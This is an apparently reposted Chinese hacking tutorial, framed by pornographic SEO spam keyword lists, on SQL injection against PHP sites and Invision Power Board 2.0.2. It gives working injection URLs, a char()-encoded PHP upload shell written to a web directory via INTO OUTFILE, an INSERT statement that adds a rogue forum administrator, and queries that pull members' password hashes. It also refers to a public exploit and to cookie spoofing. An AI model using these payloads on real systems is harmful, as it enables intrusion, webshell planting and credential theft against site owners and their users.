国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)-附帶IPB2的漏洞利用
2005-12-17   

我前段時間寫了一篇《MySQL注入中導(dǎo)出字段內(nèi)容的研究——通過注入導(dǎo)出WebShell》(http://www.4ngel.net/article/37.htm),是查詢數(shù)據(jù)然后在生成文件的,現(xiàn)在我發(fā)現(xiàn)其實不少PHP程序,比如IPB就是把數(shù)據(jù)處理過了,再插入數(shù)據(jù)庫,一般是htmlspecialchars()之后,插入數(shù)據(jù),所以利用該文的方法,就行不通了,即使把webshell的代碼插入數(shù)據(jù)庫,生成出來的也是被處理過的代碼。用不了。

近段時間在測試一個PHP網(wǎng)站的時候,由于在load_file的時候,看不到文件的內(nèi)容,所以我就懷疑是不是字段的原因,因為那些全部是int類型的,還有少數(shù)是VARCHAR的,我當(dāng)初以為是因為這個原因,其實后來進(jìn)入以后才發(fā)現(xiàn)是沒有FILE的權(quán)限,我不斷的換URL提交(注意,寫文章的時候,該網(wǎng)站已經(jīng)修補(bǔ)了漏洞,現(xiàn)在是本地演示):

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)

屏幕上顯示了:

/home/www/config.php

路徑?jīng)]錯啊,文件也存在啊,難道沒有權(quán)限?暫時放下這個,這個站點有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個目錄是要設(shè)置成可寫的,上傳附件才能正常使用,我就想利用插數(shù)據(jù),導(dǎo)出文件的方法,因為我看了phpinfo(),magic_quotes_gpc 是關(guān)閉的,所以用into outfile沒有問題,然后在本地測試了一下,發(fā)現(xiàn)提交的代碼:

變成了:

多提交幾個地方,均被做了處理,看來這樣我的這個思路又不行了,突然想到剛才看路徑的時候,能用char()函數(shù)輸出字符串,那我能不能直接寫上傳代碼?

這個轉(zhuǎn)換為10進(jìn)制是這樣的:

char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

我馬上提交:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

屏幕并沒有顯示出我們想要的東西,我查看源代碼,發(fā)現(xiàn)

這個代碼老老實實躺在里面,如圖:


 


之所以看不見,是因為瀏覽器把“<”和“>”之間的東西當(dāng)成HTML代碼解析了,這么說是可行的!這樣的好處和插數(shù)據(jù),導(dǎo)出文件相比好處在于:

因為之前,我猜到一個user表,我也不用去知道字段了,有字段作為查詢條件只是為了防止數(shù)據(jù)庫很大,導(dǎo)出所有數(shù)據(jù)時很慢的情況,我現(xiàn)在馬上就提交:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*

馬上查看,如圖:



注意:因為我這里說是用char()這個函數(shù)寫的。所以就用這個來說明了。既然能用單引號就沒必要用CHAR函數(shù)了寫東西了。可以直接這樣:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*

其中:?=%3F、$=%24,注意編碼,暈……我怎么覺得這篇文章有點多余啊??都寫到這里了,繼續(xù)吧!我只是為了告訴大家可以不用插數(shù)據(jù)了。5555,就這個意思而已也寫了這么多,我發(fā)現(xiàn)我這么久沒寫文章,邏輯性變差了,沒有條理了。各位將就點吧。

做個表單在本地提交:


< input NAME="MyFile" TYPE="file">
< input VALUE="提交" TYPE="submit">
< /form>

傳了一個phpspy上去,呵呵,phpmyadmin的密碼知道了,馬上查看了表前綴等相關(guān)信息,執(zhí)行SQL語句:

INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);

這樣就添加了一個IPB2論壇的管理員用戶名是“angel”,密碼是“thepass”,呵呵。

到這里還沒有說IPB2的漏洞呢,現(xiàn)在補(bǔ)充一下怎么利用,因為這個測試的站點就是用最新的IPB2.0.2,所以順便把我測試的結(jié)果寫下來。真是不好意思。我通過IPB2的注入又進(jìn)入了一次。

看了看IPB2安全公告:

http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]

得知qpid這個變量是沒有過濾的,我先提交:

http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’

返回:

mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')

mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
mySQL error code:
Date: Monday 06th of December 2004 09:14:34 PM

看到了嗎?執(zhí)行了什么SQL語句,都反饋回來了。從這里可以看出’(單引號)已經(jīng)被過濾了,轉(zhuǎn)為10進(jìn)制,變成'了,所以用into outfile沒有辦法導(dǎo)出文件。這里如果構(gòu)造出有效的語句,也只能得到敏感信息了。

mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')

從這里看到SQL語句后。我再試著構(gòu)造語句,利用union聯(lián)合查詢,可以得到任意數(shù)據(jù)庫、任意數(shù)據(jù)表、任意字段的內(nèi)容。提交:

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

可以看到用戶id為1的用戶名。

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

可以看到用戶id為1的密碼MD5散列。

如果論壇太大了。找不到管理員的ID,直接用“where mgroup=4”作為查詢條件可以了。我也不多說怎么構(gòu)造了。大家如果不明白構(gòu)造,可以先去http//www.4ngel.net看看相關(guān)文章。有了這些敏感的數(shù)據(jù),就可以直接COOKIE欺騙了哦。IPB2.0.0-2.0.2的COOKIE欺騙的漏洞細(xì)節(jié),可以在綠盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。

RusH security team發(fā)布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的參數(shù)比較多,居然還要知道SID,如下:

## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:

如果成功利用了,就會返回,

## [ REPORT ]------------------------------------------------------------
## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]
## -----------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

而且他們是CONCAT(id,char(58),name,char(58),member_login_key)這樣來判斷。自然沒有我們直接返回這么瀟灑了。不過工具也只能這樣了,手工的話,我們只用知道構(gòu)造就行了,僅此而已。

工具只是武器,技術(shù)才是靈魂。毛主席說過:自己動手,豐衣足食。


熱詞搜索:

上一篇:從后臺到webshell的一點思路
下一篇:對形象中國全站系統(tǒng)的搜索注入漏洞的一點分析

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
亚洲欧美在线x视频| 亚洲品质自拍| 国产精品久久久久毛片大屁完整版 | 国内久久精品| 亚洲已满18点击进入久久| 欧美成人视屏| 亚洲福利视频二区| 欧美精品日韩三级| 亚洲美女啪啪| 欧美午夜片在线免费观看| 一区二区三欧美| 国产精品高潮呻吟视频| 亚洲午夜激情| 国产精品永久免费观看| 亚洲一区二区三区精品在线| 国产精品萝li| 日韩亚洲欧美高清| 国产精品九九久久久久久久| 午夜国产精品影院在线观看| 国产亚洲精品久| 另类天堂视频在线观看| 亚洲黑丝在线| 国产精品一区二区三区观看| 久久精品国产v日韩v亚洲 | 国产精品伦理| 久久久蜜臀国产一区二区| 亚洲成人直播| 国产色综合网| 欧美日韩在线播放| 欧美影院一区| 一本久道久久综合婷婷鲸鱼| 国产欧美高清| 欧美日韩国产系列| 美女精品国产| 亚洲欧美中日韩| 极品少妇一区二区三区精品视频| 欧美午夜在线观看| 欧美一乱一性一交一视频| 国内成人精品视频| 欧美激情日韩| 久久九九久久九九| 亚洲一区在线看| 在线视频亚洲欧美| 一本一本大道香蕉久在线精品| 亚洲美洲欧洲综合国产一区| 亚洲精品美女在线| 一区二区三区国产| 欧美怡红院视频一区二区三区| 久久激情五月婷婷| 欧美国产第一页| 国产精品久久国产愉拍 | 国产精品va在线| 国产精品免费看久久久香蕉| 国产精品99免费看 | 亚洲福利视频三区| 亚洲日韩视频| 亚洲欧美日韩另类| 久久久99久久精品女同性| 久久免费99精品久久久久久| 免费看黄裸体一级大秀欧美| 欧美午夜不卡影院在线观看完整版免费| 亚洲电影免费在线 | 美女主播一区| 亚洲激情视频在线观看| 久久久人成影片一区二区三区 | 欧美午夜美女看片| 99国产精品久久| 国产亚洲欧美另类中文| 久久九九有精品国产23| 一本久道久久久| 午夜在线电影亚洲一区| 欧美大片免费观看在线观看网站推荐| 欧美高清视频| 伊人久久成人| 午夜日韩视频| 欧美日韩在线一区| 狠狠色噜噜狠狠色综合久| 99这里只有久久精品视频| 国产日韩欧美一二三区| 国产日韩一区二区三区在线| 日韩视频―中文字幕| 久久久水蜜桃| 看片网站欧美日韩| 韩国自拍一区| 久久岛国电影| 欧美日韩喷水| 午夜久久资源| 国产美女精品视频| 欧美亚洲一区二区在线观看| 欧美午夜精品| 亚洲伦理在线免费看| 欧美激情一区在线观看| 99视频精品免费观看| 欧美日本二区| 夜夜嗨一区二区三区| 欧美片在线观看| 欧美在线三区| 伊人夜夜躁av伊人久久| 久久午夜国产精品| 亚洲第一中文字幕在线观看| 美女主播一区| 91久久精品国产91久久| 女女同性女同一区二区三区91| 国产欧美视频在线观看| 亚洲网站在线| 一区二区三区在线视频观看 | 最新成人在线| 免费中文字幕日韩欧美| 亚洲美女色禁图| 国产一区二区三区不卡在线观看| 欧美在线免费观看| 亚洲成色www8888| 国产欧美1区2区3区| 久久久久久香蕉网| 一本大道久久a久久综合婷婷 | 亚洲激情视频网| 国产视频一区欧美| 久久久久久尹人网香蕉| 中国成人黄色视屏| 国产一区二区视频在线观看| 欧美日韩在线一区| 久久理论片午夜琪琪电影网| 一本色道久久综合一区| 1024亚洲| 亚洲黄色精品| 亚洲经典自拍| 尤物精品在线| 亚洲国产视频一区二区| 亚洲激情欧美激情| 91久久久国产精品| 一本一本a久久| 欧美一级黄色网| 久久精品夜色噜噜亚洲a∨ | 精品成人乱色一区二区| 狠狠干综合网| 亚洲片在线资源| 亚洲永久免费av| 久久久国产精彩视频美女艺术照福利| 亚洲欧美国产精品专区久久| 欧美一区二区在线看| 久久亚洲一区| 欧美理论在线| 国产色综合网| 一区二区三区精密机械公司| 欧美亚洲一级片| 欧美**字幕| 国产美女精品一区二区三区 | 国产一区二区日韩| 亚洲黄色片网站| 亚洲婷婷综合久久一本伊一区| 午夜精品久久久久久99热软件| 久久久www| 国产伦精品一区二区三区在线观看| 国产精品日韩在线播放| 亚洲成在线观看| 欧美一区=区| 欧美色大人视频| 亚洲国产精品国自产拍av秋霞 | 欧美日韩国产一区二区三区| 国产日本欧美在线观看| 亚洲精品色婷婷福利天堂| 久久精品国产91精品亚洲| 欧美日韩精品一二三区| 亚洲激情成人网| 美腿丝袜亚洲色图| 在线精品一区| 男女精品视频| 亚洲国产电影| 欧美电影电视剧在线观看| 国产一区二区无遮挡| 午夜欧美大尺度福利影院在线看| 免费黄网站欧美| 亚洲黄色性网站| 欧美精品一区二区三区在线看午夜 | 久久伊人亚洲| 欧美自拍偷拍午夜视频| 中文精品一区二区三区 | 一区二区三区国产盗摄| 国产一区欧美| 国产在线欧美| 亚洲国产一成人久久精品| 狠狠色2019综合网| 国产一区美女| 亚洲网站在线观看| 亚洲欧美日韩国产成人| 欧美乱在线观看| 亚洲视频免费观看| 国产精品嫩草99a| 欧美一区二区在线观看| 黑人巨大精品欧美一区二区小视频| 亚洲欧美一区二区精品久久久| 国产精品视频xxxx| 久久免费高清| 亚洲视频一区二区在线观看| 国产精品日韩一区| 免费国产一区二区| 一区在线播放视频| 快she精品国产999| av成人免费| 精品二区视频|